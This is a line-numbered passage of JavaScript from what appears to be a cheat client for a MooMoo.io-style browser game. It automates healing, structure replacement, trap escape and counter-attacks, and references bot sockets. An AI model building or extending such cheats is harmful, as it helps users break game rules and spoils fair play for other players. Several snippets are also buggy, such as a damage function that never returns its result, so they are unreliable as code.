  6966. game.tickBase(() => {
  6967. heal();
  6968. }, 2);
  6969. }
  6970. }
  6971. } else {
  6972. game.tickBase(() => {
  6973. heal();
  6974. }, 2);
  6975. }
  6976. } else {
  6977. game.tickBase(() => {
  6978. heal();
  6979. }, 2);
  6980. }
  6981. }
  6982. function heal() {
  6983. for (let i = 0; i < Math.ceil((100 - player.health) / items.list[player.items[0]].healing); i++) {
  6984. place(0, getAttackDir());
  6985. }
  6986. }
  6987. function DmgPotWorkfrfrfr() {
  6988. let predictedDamage = 0;
  6989. let weapon1Dmg, weapon2Dmg;
  6990. let weapon1Reload, weapon2Reload;
  6991. for (let i = 0; i < nears.length; i++) {
  6992. let singleIndividual = nears[i];
  6993. weapon1Dmg = items.weapons[singleIndividual.weapons[0]].dmg * sortWeaponVariant(singleIndividual.weaponVariant);
  6994. weapon2Dmg = singleIndividual.weapons[1] == 10 ? items.weapons[singleIndividual.weapons[1]].dmg : items.weapons[singleIndividual.weapons[1]].Pdmg;
  6995. weapon1Reload = singleIndividual.reloads[singleIndividual.weapons[0]] == 0;
  6996. weapon2Reload = singleIndividual.reloads[singleIndividual.weapons[1]] == 0;
  6997. if (singleIndividual.primaryIndex !== undefined) {
  6998. predictedDamage += weapon1Reload ? weapon1Dmg * 1.5 : 0;
  6999. } else {
  7000. predictedDamage += 45;
  7001. }
  7002. if (singleIndividual.secondaryIndex !== undefined) {
  7003. predictedDamage += weapon2Reload ? weapon2Dmg : 0;
  7004. } else {
  7005. predictedDamage += 50;
  7006. }
  7007. predictedDamage += singleIndividual.reloads[53] == 0 ? 25 : 0;
  7008. }
  7009. }
  7010. // UPDATE HEALTH:
  7011. function updateHealth(sid, value) { // Xavier healing
  7012. let tmpObj = findPlayerBySID(sid);
  7013. let secondary = {
  7014. weapon: this.secondaryIndex,
  7015. variant: this.secondaryVariant
  7016. };
  7017. if (!tmpObj) return;
  7018.  
  7019. let oldHealth = tmpObj.health;
  7020. tmpObj.oldHealth = oldHealth;
  7021. tmpObj.health = value;
  7022. tmpObj.judgeShame();
  7023. if (oldHealth > value) {
  7024. tmpObj.timeDamaged = Date.now();
  7025. if (tmpObj === near) {
  7026. let damage = oldHealth - value;
  7027. let shame = tmpObj.shameCount
  7028. if (tmpObj.skinIndex === 7 && (damage === 5 || (tmpObj.latestTail === 13 && damage === 2))) {
  7029. tmpObj.bullTick = game.tick;
  7030. }
  7031. }
  7032. tmpObj.damaged = oldHealth - value;
  7033. advHeal.push([sid, value, tmpObj.damaged]);
  7034. } else if (tmpObj !== player) {
  7035. tmpObj.maxShameCount = Math.max(tmpObj.maxShameCount, tmpObj.shameCount);
  7036. }
  7037. if (nears.length && tmpObj.shameCount <= 5 && nears.some(items => [9, 12, 13, 15].includes(secondary.weapon))) {
  7038. if (near.reloads[near.secondaryIndex] == 0) {
  7039. my.empAnti = true;
  7040. my.soldierAnti = false;
  7041. } else {
  7042. my.soldierAnti = true
  7043. my.empAnti = false;
  7044. }
  7045. }
  7046. }
  7047. // KILL PLAYER:
  7048. function killPlayer() {
  7049. inGame = false;
  7050. lastDeath = {
  7051. x: player.x,
  7052. y: player.y,
  7053. };
  7054. }
  7055.  
  7056. // UPDATE PLAYER ITEM VALUES:
  7057. function updateItemCounts(index, value) {
  7058. if (player) {
  7059. player.itemCounts[index] = value;
  7060. updateItemCountDisplay(index);
  7061. }
  7062. }
  7063.  
  7064. // UPDATE AGE:
  7065. function updateAge(xp, mxp, age) {
  7066. if (xp != undefined)
  7067. player.XP = xp;
  7068. if (mxp != undefined)
  7069. player.maxXP = mxp;
  7070. if (age != undefined)
  7071. player.age = age;
  7072. }
  7073.  
  7074. // UPDATE UPGRADES:
  7075. function updateUpgrades(points, age) {
  7076. player.upgradePoints = points;
  7077. player.upgrAge = age;
  7078. if (points > 0) {
  7079. tmpList.length = 0;
  7080. UTILS.removeAllChildren(upgradeHolder);
  7081. for (let i = 0; i < items.weapons.length; ++i) {
  7082. if (items.weapons[i].age == age && (items.weapons[i].pre == undefined || player.weapons.indexOf(items.weapons[i].pre) >= 0)) {
  7083. let e = UTILS.generateElement({
  7084. id: "upgradeItem" + i,
  7085. class: "actionBarItem",
  7086. onmouseout: function() {
  7087. showItemInfo();
  7088. },
  7089. parent: upgradeHolder
  7090. });
  7091. e.style.backgroundImage = getEl("actionBarItem" + i).style.backgroundImage;
  7092. tmpList.push(i);
  7093. }
  7094. }
  7095. for (let i = 0; i < items.list.length; ++i) {
  7096. if (items.list[i].age == age && (items.list[i].pre == undefined || player.items.indexOf(items.list[i].pre) >= 0)) {
  7097. let tmpI = (items.weapons.length + i);
  7098. let e = UTILS.generateElement({
  7099. id: "upgradeItem" + tmpI,
  7100. class: "actionBarItem",
  7101. onmouseout: function() {
  7102. showItemInfo();
  7103. },
  7104. parent: upgradeHolder
  7105. });
  7106. e.style.backgroundImage = getEl("actionBarItem" + tmpI).style.backgroundImage;
  7107. tmpList.push(tmpI);
  7108. }
  7109. }
  7110. for (let i = 0; i < tmpList.length; i++) {
  7111. (function(i) {
  7112. let tmpItem = getEl('upgradeItem' + i);
  7113. // tmpItem.onmouseover = function() {
  7114. // if (items.weapons[i]) {
  7115. // showItemInfo(items.weapons[i], true);
  7116. // } else {
  7117. // showItemInfo(items.list[i - items.weapons.length]);
  7118. // }
  7119. // };
  7120. tmpItem.onclick = UTILS.checkTrusted(function() {
  7121. packet("H", i);
  7122. });
  7123. UTILS.hookTouchEvents(tmpItem);
  7124. })(tmpList[i]);
  7125. }
  7126. if (tmpList.length) {
  7127. upgradeHolder.style.display = "block";
  7128. upgradeCounter.style.display = "block";
  7129. upgradeCounter.innerHTML = "SELECT ITEMS (" + points + ")";
  7130. } else {
  7131. upgradeHolder.style.display = "none";
  7132. upgradeCounter.style.display = "none";
  7133. showItemInfo();
  7134. }
  7135. } else {
  7136. upgradeHolder.style.display = "none";
  7137. upgradeCounter.style.display = "none";
  7138. showItemInfo();
  7139. }
  7140. }
  7141. function toR(e) {
  7142. var n = (e * Math.PI / 180) % (2 * Math.PI);
  7143. return n > Math.PI ? Math.PI - n : n
  7144. }
  7145. function toD(e) {
  7146. var n = (e / Math.PI * 360) % 360;
  7147. return n >= 360 ? n - 360 : n;
  7148. }
  7149. // KILL OBJECT:
  7150. function killObject(sid) {
  7151. let findObj = findObjectBySid(sid);
  7152. objectManager.disableBySid(sid);
  7153. if (player) {
  7154. for (let i = 0; i < breakObjects.length; i++) {
  7155. if (breakObjects[i].sid == sid) {
  7156. breakObjects.splice(i, 1);
  7157. break;
  7158. }
  7159. }
  7160. if (!player.canSee(findObj)) {
  7161. breakTrackers.push({
  7162. x: findObj.x,
  7163. y: findObj.y
  7164. });
  7165. }
  7166. if (breakTrackers.length > 8) {
  7167. breakTrackers.shift();
  7168. }
  7169. traps.replacer(findObj);
  7170. }
  7171. }
  7172.  
  7173. // KILL ALL OBJECTS BY A PLAYER:
  7174. function killObjects(sid) {
  7175. if (player) objectManager.removeAllItems(sid);
  7176. }
  7177. function setTickout(doo, timeout) {
  7178. if (!ticks.manage[ticks.tick + timeout]) {
  7179. ticks.manage[ticks.tick + timeout] = [doo];
  7180. } else {
  7181. ticks.manage[ticks.tick + timeout].push(doo);
  7182. }
  7183. }
  7184.  
  7185. function caf(e, t) {
  7186. try {
  7187. return Math.atan2((t.y2 || t.y) - (e.y2 || e.y), (t.x2 || t.x) - (e.x2 || e.x));
  7188. } catch (e) {
  7189. return 0;
  7190. }
  7191. }
  7192.  
  7193. let found = false;
  7194. let autoQ = false;
  7195.  
  7196. let autos = {
  7197. insta: {
  7198. todo: false,
  7199. wait: false,
  7200. count: 4,
  7201. shame: 5
  7202. },
  7203. bull: false,
  7204. antibull: 0,
  7205. reloaded: false,
  7206. stopspin: true
  7207. }
  7208.  
  7209. // UPDATE PLAYER DATA:k
  7210.  
  7211. let nEy;
  7212. let placeableSpikes = [];
  7213. let placeableTraps = [];
  7214. let placeableSpikesPREDICTS = [];
  7215. let DmgPotStuff = {
  7216. predictedDamage: 0
  7217. };
  7218.  
  7219. function mgPotWorkfrfrfr() {
  7220. DmgPotStuff.predictedDamage = 0;
  7221. for (let i = 0; i < nears.length; i++) {
  7222. let singleIndividual = nears[i];
  7223. if (singleIndividual.primaryIndex != undefined) {
  7224. if (singleIndividual.reloads[singleIndividual.weapons[0]] == 0) {
  7225. DmgPotStuff.predictedDamage += items.weapons[singleIndividual.weapons[0]].dmg * sortWeaponVariant(singleIndividual.weaponVariant) * 1.5
  7226. }
  7227. } else {
  7228. DmgPotStuff.predictedDamage += 45
  7229. }
  7230. if (singleIndividual.secondaryIndex != undefined) {
  7231. if (singleIndividual.reloads[singleIndividual.weapons[1]] == 0) {
  7232. if (items.weapons[singleIndividual.weapons[1]] == 10) {
  7233. DmgPotStuff.predictedDamage += items.weapons[singleIndividual.weapons[1]].dmg * sortWeaponVariant(singleIndividual.weaponVariant)
  7234. } else {
  7235. DmgPotStuff.predictedDamage += items.weapons[singleIndividual.weapons[1]].Pdmg
  7236. }
  7237. }
  7238. } else {
  7239. DmgPotStuff.predictedDamage += 50
  7240. }
  7241. if (singleIndividual.reloads[53] == 0) {
  7242. DmgPotStuff.predictedDamage += 25
  7243. }
  7244. }
  7245. return DmgPotStuff.predictedDamage
  7246. }
  7247. const getDistance = (x1, y1, x2, y2) => {
  7248. let dx = x2 - x1;
  7249. let dy = y2 - y1;
  7250. return Math.sqrt(dx * dx + dy * dy);
  7251. };
  7252. const getPotentialDamage = (build, user) => {
  7253. const weapIndex = user.weapons[1] === 10 && !player.reloads[user.weapons[1]] ? 1 : 0;
  7254. const weap = user.weapons[weapIndex];
  7255. if (player.reloads[weap]) return 0;
  7256. const weapon = items.weapons[weap];
  7257. const inDist = getDistance(build.x, build.y, user.x2, user.y2) <= build.getScale() + weapon.range;
  7258. return (user.visible && inDist) ? weapon.dmg * (weapon.sDmg || 1) * 3.3 : 0;
  7259. };
  7260.  
  7261. const findPlacementAngle = (player, itemId, build) => {
  7262. if (!build) return null;
  7263. const MAX_ANGLE = 2 * Math.PI;
  7264. const ANGLE_STEP = Math.PI / 360;
  7265. const item = items.list[player.items[itemId]];
  7266. let buildingAngle = Math.atan2(build.y - player.y, build.x - player.x);
  7267. let tmpS = player.scale + (item.scale || 1) + (item.placeOffset || 0);
  7268.  
  7269. for (let offset = 0; offset < MAX_ANGLE; offset += ANGLE_STEP) {
  7270. let angles = [(buildingAngle + offset) % MAX_ANGLE, (buildingAngle - offset + MAX_ANGLE) % MAX_ANGLE];
  7271. for (let angle of angles) {
  7272. let tmpX = player.x + tmpS * Math.cos(angle);
  7273. let tmpY = player.y + tmpS * Math.sin(angle);
  7274. if (objectManager.customCheckItemLocation(tmpX, tmpY, item.scale, 0.6, item.id, false, player, build, gameObjects, UTILS, config)) {
  7275. return angle;
  7276. }
  7277. }
  7278. }
  7279. return null;
  7280. };
  7281. const AutoReplace = () => {
  7282. const replaceable = [];
  7283. const playerX = player.x;
  7284. const playerY = player.y;
  7285. const gameObjectCount = gameObjects.length;
  7286. for (let i = 0; i < gameObjectCount; i++) {
  7287. const build = gameObjects[i];
  7288. if (build.isItem && build.active && build.health > 0) {
  7289. let potentialDamage = players.reduce((total, p) => total + getPotentialDamage(build, p), 0);
  7290. if (build.health <= potentialDamage) {
  7291. replaceable.push(build);
  7292. }
  7293. }
  7294. }
  7295. const replace = () => {
  7296. let nearTrap = gameObjects.filter(tmp => tmp.trap && tmp.active && tmp.isTeamObject(player) && getDistance(tmp.x, tmp.y, playerX, playerY) <= tmp.getScale() + 5);
  7297. let spike = gameObjects.find(tmp => tmp.dmg && tmp.active && tmp.isTeamObject(player) && getDistance(tmp.x, tmp.y, playerX, playerY) < 87 && !nearTrap.length);
  7298. const buildId = spike ? 4 : 2;
  7299.  
  7300. replaceable.forEach(build => {
  7301. let angle = findPlacementAngle(player, buildId, build);
  7302. if (angle !== null) {
  7303. place(buildId, angle);
  7304. }
  7305. });
  7306. };
  7307. const replaceDelay = game.tickSpeed - (window.pingTime || 0) + (game.tickSpeed < 110 ? 5 : 0);
  7308. if (near && near.dist2 <= 360) {
  7309. setTimeout(replace, replaceDelay);
  7310. }
  7311. };
  7312. // let movementPrediction = {
  7313. // x: player.x2 + (player.oldPos.x2 - player.x2) * -1,
  7314. // y: player.y2 + (player.oldPos.y2 - player.y2) * -1,
  7315. // }
  7316.  
  7317. // let potentialzpiketick = liztobj.filter((e) => e.active && e.dmg)
  7318.  
  7319. // potentialzpiketick.forEach((obj) => {
  7320. // if(cdf(obj, player) <= 200) {
  7321. // packet('a', undefined);
  7322. // }
  7323. // })
  7324.  
  7325. // let newPos = {
  7326. // x: player.x2 + (tracker.lastPos.x - player.x2) * -1,
  7327. // y: player.y2 + (tracker.lastPos.y - player.y2) * -1,
  7328. // }
  7329.  
  7330. function getAngleDifference(angle1, angle2) {
  7331. // Normalize the angles to be between 0 and 2π
  7332. angle1 = angle1 % (2 * Math.PI);
  7333. angle2 = angle2 % (2 * Math.PI);
  7334.  
  7335. // Calculate the absolute difference between the angles
  7336. let diff = Math.abs(angle1 - angle2);
  7337.  
  7338. // Adjust the difference to be between 0 and π
  7339. if (diff > Math.PI) {
  7340. diff = (2 * Math.PI) - diff;
  7341. }
  7342.  
  7343. return diff;
  7344. }
  7345.  
  7346. // function smartMove(oneTickMove) {
  7347. // let dir = player.moveDir;
  7348.  
  7349. // let found = false
  7350. // let buildings = liztobj.sort((a, b) => Math.hypot(player.y2 - a.y, player.x2 - a.x) - Math.hypot(player.y2 - b.y, player.x2 - b.x))
  7351. // let spikes = buildings.filter(obj => obj.dmg && cdf(player, obj) < 250 && !obj.isTeamObject(player) && obj.active)
  7352.  
  7353. // let newPos = {
  7354. // x: player.x2 + (player.x2 - player.oldPos.x2) * 1.2 + (Math.cos(dir) * 50),
  7355. // y: player.y2 + (player.y2 - player.oldPos.y2) * 1.2 + (Math.sin(dir) * 50),
  7356. // }
  7357.  
  7358. // for (let i = 0; i < spikes.length; i++) {
  7359. // if (cdf(spikes[i], newPos) < spikes[i].scale + player.scale + 3) {
  7360. // found = Math.atan2(player.y2 - spikes[i].y, player.x2 - spikes[i].x)
  7361. // }
  7362. // }
  7363.  
  7364.  
  7365.  
  7366.  
  7367.  
  7368. // if (found != false && !traps.inTrap) {
  7369. // packet("a", undefined);
  7370. // } else {
  7371. // packet("a", dir);
  7372. // }
  7373. // player.oldPos.x2 = player.x2;
  7374. // player.oldPos.y2 = player.y2;
  7375. // }
  7376. // function detectEnemySpikeCollisions(tmpObj) {
  7377. // let buildings = liztobj.sort((a, b) => Math.hypot(tmpObj.y - a.y, tmpObj.x - a.x) - Math.hypot(tmpObj.y - b.y, tmpObj.x - b.x));
  7378. // let spikes = buildings.filter(obj => obj.dmg && cdf(player, obj) < 200 && !obj.isTeamObject(player) && obj.active);
  7379. // //here you calculate last vel / delta, add that to current pos, if touch spike do the heh
  7380. // let enemy = {
  7381. // // x: tmpObj.x + (player.oldPos.x2 - tmpObj.x) * -2,
  7382. // // y: tmpObj.y + (player.oldPos.y2 - tmpObj.y) * -2,
  7383. // x: player.x2 + (player.oldPos.x2 - player.x2) * -1,
  7384. // y: player.y2 + (player.oldPos.y2 - player.y2) * -1,
  7385. // }
  7386. // let found = false;
  7387. // for (let i = 0; i < spikes.length; i++) {
  7388. // if (cdf(enemy, spikes[i]) < player.scale + spikes[i].scale) {
  7389. // found = true;
  7390. // }
  7391. // }
  7392.  
  7393. // // player.oldPos.x2 = tmpObj.x2;
  7394. // // player.oldPos.y2 = tmpObj.y2;
  7395. // }
  7396. function updatePlayers(data) {
  7397. game.tick++;
  7398. enemy = [];
  7399. nears = [];
  7400. near = [];
  7401. game.tickSpeed = performance.now() - game.lastTick;
  7402. game.lastTick = performance.now();
  7403. players.forEach((tmp) => {
  7404. tmp.forcePos = !tmp.visible;
  7405. tmp.visible = false;
  7406. if((tmp.timeHealed - tmp.timeDamaged)>0 && tmp.lastshamecount<tmp.shameCount)
  7407. tmp.pinge = (tmp.timeHealed - tmp.timeDamaged);
  7408. });
  7409. for (let i = 0; i < data.length;) {
  7410. tmpObj = findPlayerBySID(data[i]);
  7411. if (tmpObj) {
  7412. tmpObj.t1 = (tmpObj.t2 === undefined) ? game.lastTick : tmpObj.t2;
  7413. tmpObj.t2 = game.lastTick;
  7414. tmpObj.oldPos.x2 = tmpObj.x2;
  7415. tmpObj.oldPos.y2 = tmpObj.y2;
  7416. tmpObj.x1 = tmpObj.x;
  7417. tmpObj.y1 = tmpObj.y;
  7418. tmpObj.x2 = data[i + 1];
  7419. tmpObj.y2 = data[i + 2];
  7420. tmpObj.x3 = tmpObj.x2 + (tmpObj.x2 - tmpObj.oldPos.x2);
  7421. tmpObj.y3 = tmpObj.y2 + (tmpObj.y2 - tmpObj.oldPos.y2);
  7422. tmpObj.d1 = (tmpObj.d2 === undefined) ? data[i + 3] : tmpObj.d2;
  7423. tmpObj.d2 = data[i + 3];
  7424. tmpObj.dt = 0;
  7425. tmpObj.buildIndex = data[i + 4];
  7426. tmpObj.weaponIndex = data[i + 5];
  7427. tmpObj.weaponVariant = data[i + 6];
  7428. tmpObj.team = data[i + 7];
  7429. tmpObj.isLeader = data[i + 8];
  7430. tmpObj.oldSkinIndex = tmpObj.skinIndex;
  7431. tmpObj.oldTailIndex = tmpObj.tailIndex;
  7432. tmpObj.skinIndex = data[i + 9];
  7433. tmpObj.tailIndex = data[i + 10];
  7434. tmpObj.iconIndex = data[i + 11];
  7435. tmpObj.zIndex = data[i + 12];
  7436. tmpObj.visible = true;
  7437. tmpObj.update(game.tickSpeed);
  7438. tmpObj.dist2 = UTILS.getDist(tmpObj, player, 2, 2);
  7439. tmpObj.aim2 = UTILS.getDirect(tmpObj, player, 2, 2);
  7440. tmpObj.dist3 = UTILS.getDist(tmpObj, player, 3, 3);
  7441. tmpObj.aim3 = UTILS.getDirect(tmpObj, player, 3, 3);
  7442. tmpObj.damageThreat = 0;
  7443. if (tmpObj.skinIndex == 45 && tmpObj.shameTimer <= 0) {
  7444. tmpObj.addShameTimer();
  7445. }
  7446. if (tmpObj.oldSkinIndex == 45 && tmpObj.skinIndex != 45) {
  7447. tmpObj.shameTimer = 0;
  7448. tmpObj.shameCount = 0;
  7449. if (tmpObj == player) {
  7450. healer();
  7451. }
  7452. }
  7453.  
  7454. botSkts.forEach((bot) => {
  7455. bot.showName = 'YEAHHH'
  7456. })
  7457.  
  7458. for(let i = 0; i < players.length; i++) {
  7459. for(let aa = 0; aa < botSkts.length; aa++) {
  7460. if(player.id === aa.id) aa.showName = 'YEAHHHHHH'
  7461.  
  7462. }
  7463. }
  7464.  
  7465. if (player.shameCount < 4 && near.dist3 <= 300 && near.reloads[near.primaryIndex] <= game.tickRate * (window.pingTime >= 200 ? 2 : 1)) {
  7466. autoQ = true;
  7467. healer();
  7468. } else {
  7469. if (autoQ) {
  7470. healer();
  7471. }
  7472. autoQ = false;
  7473. }
  7474.  
  7475.  
  7476. if (tmpObj == player) {
  7477. if (liztobj.length) {
  7478. liztobj.forEach((tmp) => {
  7479. tmp.onNear = false;
  7480. if (tmp.active) {
  7481. if (!tmp.onNear && UTILS.getDist(tmp, tmpObj, 0, 2) <= tmp.scale + items.weapons[tmpObj.weapons[0]].range) {
  7482. tmp.onNear = true;
  7483. }
  7484. if (tmp.isItem && tmp.owner) {
  7485. if (!tmp.pps && tmpObj.sid == tmp.owner.sid && UTILS.getDist(tmp, tmpObj, 0, 2) > (parseInt(getEl("breakRange").value) || 0) && !tmp.breakObj && ![13, 14, 20].includes(tmp.id)) {
  7486. tmp.breakObj = true;
  7487. breakObjects.push({
  7488. x: tmp.x,
  7489. y: tmp.y,
  7490. sid: tmp.sid
  7491. });
  7492. }
  7493. }
  7494. }
  7495. });
  7496. let nearTrap = liztobj.filter(e => e.trap && e.active && UTILS.getDist(e, tmpObj, 0, 2) <= (tmpObj.scale + e.getScale() + 25) && !e.isTeamObject(tmpObj)).sort(function(a, b) {
  7497. return UTILS.getDist(a, tmpObj, 0, 2) - UTILS.getDist(b, tmpObj, 0, 2);
  7498. })[0];
  7499. if (nearTrap) {
  7500. let spike = gameObjects.filter(obj => obj.dmg && cdf(tmpObj, obj) <= tmpObj.scale + nearTrap.scale/2 && !obj.isTeamObject(tmpObj) && obj.active)[0]
  7501. traps.dist = UTILS.getDist(nearTrap, tmpObj, 0, 2);
  7502. traps.aim = UTILS.getDirect(spike ? spike : nearTrap, tmpObj, 0, 2);
  7503.  
  7504. // traps.dist = UTILS.getDist(nearTrap, tmpObj, 0, 2);
  7505. // traps.aim = UTILS.getDirect(nearTrap, tmpObj, 0, 2);
  7506. traps.protect(caf(nearTrap, tmpObj) - Math.PI);
  7507. traps.inTrap = true;
  7508. traps.info = nearTrap;
  7509. } else {
  7510. traps.inTrap = false;
  7511. traps.info = {};
  7512. }
  7513. } else {
  7514. traps.inTrap = false;
  7515. }
  7516. }
  7517. if (tmpObj.weaponIndex < 9) {
  7518. tmpObj.primaryIndex = tmpObj.weaponIndex;
  7519. tmpObj.primaryVariant = tmpObj.weaponVariant;
  7520. } else if (tmpObj.weaponIndex > 8) {
  7521. tmpObj.secondaryIndex = tmpObj.weaponIndex;
  7522. tmpObj.secondaryVariant = tmpObj.weaponVariant;
  7523. }
  7524. }
  7525. i += 13;
  7526. }
  7527. if (textManager.stack.length) {
  7528. let stacks = [];
  7529. let notstacks = [];
  7530. let num = 0;
  7531. let num2 = 0;
  7532. let pos = {
  7533. x: null,
  7534. y: null
  7535. };
  7536. let pos2 = {
  7537. x: null,
  7538. y: null
  7539. }
  7540. textManager.stack.forEach((text) => {
  7541. if (text.value >= 0) {
  7542. if (num == 0) pos = {
  7543. x: text.x,
  7544. y: text.y
  7545. };
  7546. num += Math.abs(text.value);
  7547. } else {
  7548. if (num2 == 0) pos2 = {
  7549. x: text.x,
  7550. y: text.y
  7551. };
  7552. num2 += Math.abs(text.value);
  7553. }
  7554. });
  7555. if (num2 > 0) {
  7556. textManager.showText(pos2.x, pos2.y, Math.max(45, Math.min(50, num2)), 0.18, 500, num2, "#8ecc51");
  7557. }
  7558. if (num > 0) {
  7559. textManager.showText(pos.x, pos.y, Math.max(45, Math.min(50, num)), 0.18, 500, num, "#fff");
  7560. }
  7561. textManager.stack = [];
  7562. }
  7563. if (runAtNextTick.length) {
  7564. runAtNextTick.forEach((tmp) => {
  7565. checkProjectileHolder(...tmp);
  7566. });
  7567. runAtNextTick = [];
  7568. }
  7569. for (let i = 0; i < data.length;) {
  7570. tmpObj = findPlayerBySID(data[i]);
  7571. if (tmpObj) {
  7572. if (!tmpObj.isTeam(player)) {
  7573. enemy.push(tmpObj);
  7574. if (tmpObj.dist2 <= items.weapons[tmpObj.primaryIndex == undefined ? 5 : tmpObj.primaryIndex].range + (player.scale * 2)) {
  7575. nears.push(tmpObj);
  7576. }
  7577. }
  7578. tmpObj.manageReload();
  7579. if (tmpObj != player) {
  7580. tmpObj.addDamageThreat(player);
  7581. }
  7582. }
  7583. i += 13;
  7584. }
  7585. /*projectiles.forEach((proj) => {
  7586. tmpObj = proj;
  7587. if (tmpObj.active) {
  7588. tmpObj.tickUpdate(game.tickSpeed);
  7589. }
  7590. });*/
  7591. if (player && player.alive) {
  7592. if (enemy.length) {
  7593. near = enemy.sort(function (tmp1, tmp2) {
  7594. return tmp1.dist2 - tmp2.dist2;
  7595. })[0];
  7596. } else {
  7597. // console.log("no enemy");
  7598. }
  7599. if (game.tickQueue[game.tick]) {
  7600. game.tickQueue[game.tick].forEach((action) => {
  7601. action();
  7602. });
  7603. game.tickQueue[game.tick] = null;
  7604. }
  7605.  
  7606.  
  7607. if (advHeal.length) {
  7608. advHeal.forEach((updHealth) => {
  7609. if (window.pingTime < 150) {
  7610. let sid = updHealth[0];
  7611. let value = updHealth[1];
  7612. let totalDamage = 100 - value
  7613. let damaged = updHealth[2];
  7614. tmpObj = findPlayerBySID(sid);
  7615. let bullTicked = false;
  7616. if (tmpObj == player) {
  7617. if (tmpObj.skinIndex == 7 && (damaged == 5 || (tmpObj.latestTail == 13 && damaged == 2))) {
  7618. if (my.reSync) {
  7619. my.reSync = false;
  7620. tmpObj.setBullTick = true;
  7621. }
  7622. bullTicked = true;
  7623. }
  7624. if (inGame) {
  7625. let attackers = getAttacker(damaged);
  7626. let gearDmgs = [0.25, 0.45].map((val) => val * items.weapons[player.weapons[0]].dmg * soldierMult());
  7627. let includeSpikeDmgs = enemy.length ? !bullTicked && (gearDmgs.includes(damaged) && near.skinIndex == 11) : false;
  7628. let healTimeout = 140 - window.pingTime;
  7629. let dmg = 100 - player.health;
  7630. let slowHeal = function (timer, tickBase) {
  7631. if (!tickBase) {
  7632. setTimeout(() => {
  7633. healer();
  7634. }, timer);
  7635. } else {
  7636. game.tickBase(() => {
  7637. healer()
  7638. }, 2)
  7639. }
  7640. }
  7641. if (getEl("healingBeta").checked) {
  7642. if (enemy.length) {
  7643. if ([0, 7, 8].includes(near.primaryIndex)) {
  7644. if (damaged < 75) {
  7645. slowHeal(healTimeout)
  7646. } else {
  7647. healer()
  7648. }
  7649. }
  7650. if ([1, 2, 6].includes(near.primaryIndex)) {
  7651. if (damaged >= 25 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5) {
  7652. healer()
  7653. } else {
  7654. slowHeal(healTimeout)
  7655. }
  7656. }
  7657. if (near.primaryIndex == 3) {
  7658. if (near.secondaryIndex == 15) {
  7659. if (near.primaryVariant < 2) {
  7660. if (damaged >= 35 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5 && game.tick - player.antiTimer > 1) {
  7661. tmpObj.canEmpAnti = true
  7662. tmpObj.antiTimer = game.tick
  7663. healer()
  7664. } else {
  7665. slowHeal(healTimeout)
  7666. }
  7667. } else {
  7668. if (damaged > 35 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 5 && game.tick - player.antiTimer > 1) {
  7669. tmpObj.canEmpAnti = true
  7670. tmpObj.antiTimer = game.tick
  7671. healer()
  7672. } else {
  7673. slowHeal(healTimeout)
  7674. }
  7675. }
  7676. } else {
  7677. if (damaged >= 25 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
  7678. healer()
  7679. } else {
  7680. slowHeal(healTimeout)
  7681. }
  7682. }
  7683. }
  7684. if (near.primaryIndex == 4) {
  7685. if (near.primaryVariant >= 1) {
  7686. if (damaged >= 10 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
  7687. healer()
  7688. } else {
  7689. slowHeal(healTimeout)
  7690. }
  7691. } else {
  7692. if (damaged >= 35 && player.damageThreat + dmg >= 95 && tmpObj.shameCount < 3) {
  7693. healer()
  7694. } else {
  7695. slowHeal(healTimeout)
  7696. }
  7697. }
  7698. }
  7699. if ([undefined, 5].includes(near.primaryIndex)) {
  7700. if (near.secondaryIndex == 10) {
  7701. if (dmg >= (includeSpikeDmgs ? 10 : 20) && tmpObj.damageThreat + dmg >= 80 && tmpObj.shameCount < 6) {
  7702. healer()
  7703. } else {
  7704. slowHeal(healTimeout)
  7705. }
  7706. } else
  7707. if (near.primaryVariant >= 2 || near.primaryVariant == undefined) {
  7708. if (dmg >= (includeSpikeDmgs ? 15 : 20) && tmpObj.damageThreat + dmg >= 50 && tmpObj.shameCount < 6) {
  7709. healer()
  7710. } else {
  7711. slowHeal(healTimeout)
  7712. }
  7713. } else
  7714. if ([undefined || 15].includes(near.secondaryIndex)) {
  7715. if (damaged > (includeSpikeDmgs ? 8 : 20) && player.damageThreat >= 25 && (game.tick - player.antiTimer) > 1) {
  7716. if (tmpObj.shameCount < 5) {
  7717. healer()
  7718. } else {
  7719. slowHeal(healTimeout)
  7720. }
  7721. } else {
  7722. slowHeal(healTimeout)
  7723. }
  7724. } else
  7725. if ([9, 12, 13].includes(near.secondaryIndex)) {
  7726. if (dmg >= 25 && player.damageThreat + dmg >= 70 && tmpObj.shameCount < 6) {
  7727. healer()
  7728. } else {
  7729. slowHeal(healTimeout)
  7730. }
  7731. } else {
  7732. if (damaged > 25 && player.damageThreat + dmg >= 95) {
  7733. healer()
  7734. } else {
  7735. slowHeal(healTimeout)
  7736. }
  7737. }
  7738. }
  7739. if (near.primaryIndex == 6) {
  7740. if (near.secondaryIndex == 15) {
  7741. if (damaged >= 25 && tmpObj.damageThreat + dmg >= 95 && tmpObj.shameCount < 4) {
  7742. healer()
  7743. } else {
  7744. slowHeal(healTimeout)
  7745. }
  7746. } else {
  7747. if (damaged >= 70 && tmpObj.shameCount < 4) {
  7748. healer()
  7749. } else {
  7750. slowHeal(healTimeout)
  7751. }
  7752. }
  7753. }
  7754. if (damaged >= 30 && near.reloads[near.secondaryIndex] == 0 && near.dist2 <= 150 && player.skinIndex == 11 && player.tailIndex == 21) instaC.canCounter = true
  7755. } else {
  7756. if (damaged >= 70) {
  7757. healer()
  7758. } else {
  7759. slowHeal(healTimeout)
  7760. }
  7761. }
  7762. } else {
  7763. if (damaged >= (includeSpikeDmgs ? 8 : 25) && dmg + player.damageThreat >= 80 && (game.tick - player.antiTimer) > 1) {
  7764. if (tmpObj.reloads[53] == 0 && tmpObj.reloads[tmpObj.weapons[1]] == 0) {
  7765. tmpObj.canEmpAnti = true;
  7766. } else {
  7767. player.soldierAnti = true;
  7768. }
  7769. tmpObj.antiTimer = game.tick;
  7770. let shame = [0, 4, 6, 7, 8].includes(near.primaryIndex) ? 2 : 5;
  7771. if (tmpObj.shameCount < shame) {
  7772. healer();
  7773. } else {
  7774. if (near.primaryIndex == 7 || (player.weapons[0] == 7 && (near.skinIndex == 11 || near.tailIndex == 21))) {
  7775. slowHeal(healTimeout)
  7776. } else {
  7777. slowHeal(healTimeout, 1)
  7778. }
  7779. }
  7780. } else {
